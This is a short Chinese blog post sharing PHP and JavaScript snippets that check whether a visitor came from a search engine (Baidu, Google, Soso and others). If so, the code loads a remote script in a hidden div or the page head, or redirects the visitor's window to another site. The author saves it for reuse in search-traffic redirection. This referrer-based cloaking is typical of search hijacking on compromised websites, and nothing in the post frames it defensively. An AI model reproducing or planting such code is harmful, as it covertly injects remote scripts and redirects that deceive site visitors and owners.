• 一段判断搜索引擎来路的JS代码


    以下是一段php判断搜索引擎的代码
    
    <?PHP
    
    $referer = $_SERVER['HTTP_REFERER'];
    
    if(!$referer == ''){
    
    if(ereg('http',$referer)){
    
    $referer = @eXPlode('.',$referer);
    
    if(is_array($referer)){
    
    $referer = $referer['1'];
    
    if($referer == 'google' OR $referer == 'baidu' OR $referer == 'soso' OR $referer == 'sogou'){
    
    ?>
    
    <div style="visibility:hidden;"><script src="a.js" language="JavaScript"></script>
    
    </div><?php
    
    }
    
    }
    
    }
    
    }
    
    ?>
    
    而通过Js判断搜索引擎来路的代码则如下
    
    <script type="text/javascript">
    
    function elem(e,url){
    
    var h=document.createElement(e);
    
    h.src=url;
    
    document.getElementsByTagName('head')[0].appendChild(h);
    
    }
    
    function refer(){
    
    var ref=document.referrer;
    
    var baidu=ref.indexOf("baidu");
    
    var soso=ref.indexOf("soso");
    
    var google=ref.indexOf("google");
    
    if(baidu!=-1||soso!=-1||google!=-1){
    
    elem("script","http://127.0.0.1/js.js");
    
    }
    
    }
    
    refer()
    
    </script>
    
    另外附上自己百度谷歌的一份代码
    
    <script language="javascript">
    
    var s=document.referrer
    
    if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("soso")>0 || s.indexOf("search")>0 || s.indexOf("114")>0 )
    
    window.opener.navigate("http://www.t00ls.net")
    
    </script>
    
    留着备用,以后准备份代码,用来做判断搜索引擎做跳转。
  • 相关阅读:
    Jmeter之参数化
    安全测试-业务安全的些许“瞎说”
    (转)LR性能测试结果样例分析
    (转)使用 Nmon 监控 Linux 的系统性能
    Jmeter之断言
    自动化框架httpClient实例
    RabbitMQ集群 Docker一键部署
    使用swing构建一个界面(包含flow ,Border,Grid,card ,scroll布局)
    Jtable实现
    java 使用最新api操作mongodb
  • 原文地址:https://www.cnblogs.com/wangchuang/p/3107480.html
Copyright © 2020-2023  润新知